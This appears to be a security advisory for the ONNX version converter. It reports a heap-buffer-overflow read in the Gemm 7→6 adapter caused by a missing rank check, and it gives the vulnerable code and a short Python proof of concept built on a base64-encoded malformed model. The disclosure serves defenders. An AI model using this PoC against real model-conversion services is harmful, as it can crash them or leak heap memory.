Summary Heap-buffer-overflow READ (16 bytes) in "Gemm_7_6::adapt_gemm_7_6()" ("onnx/version_converter/adapters/gemm_7_6.h:41") when "ConvertVersion()" processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses "B_shape[1]" without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH } The PoC has input B with shape "[28]" (1 dimension). "B_shape" has 1 element. Accessing "B_shape[1]" reads 16 bytes past the "std::vector<Dimension>" internal storage into adjacent heap memory. The same unchecked pattern applies to "A_shape[0]" and "A_shape[1]" at lines 34 and 36. Entry point: "onnx.version_converter.convert_version(model, 6)" — different from the "InferShapes" bugs reported in separate advisories. This triggers during opset downgrade (7→6). PoC import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) 186-byte PoC. ASan confirms: "heap-buffer-overflow READ of size 16" at "gemm_7_6.h:41", "0 bytes after 48-byte region" allocated in "tensorShapeProtoToDimensions" at "ir_pb_converter.cc:216". Impact Any application that uses "onnx.version_converter.convert_version()" on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.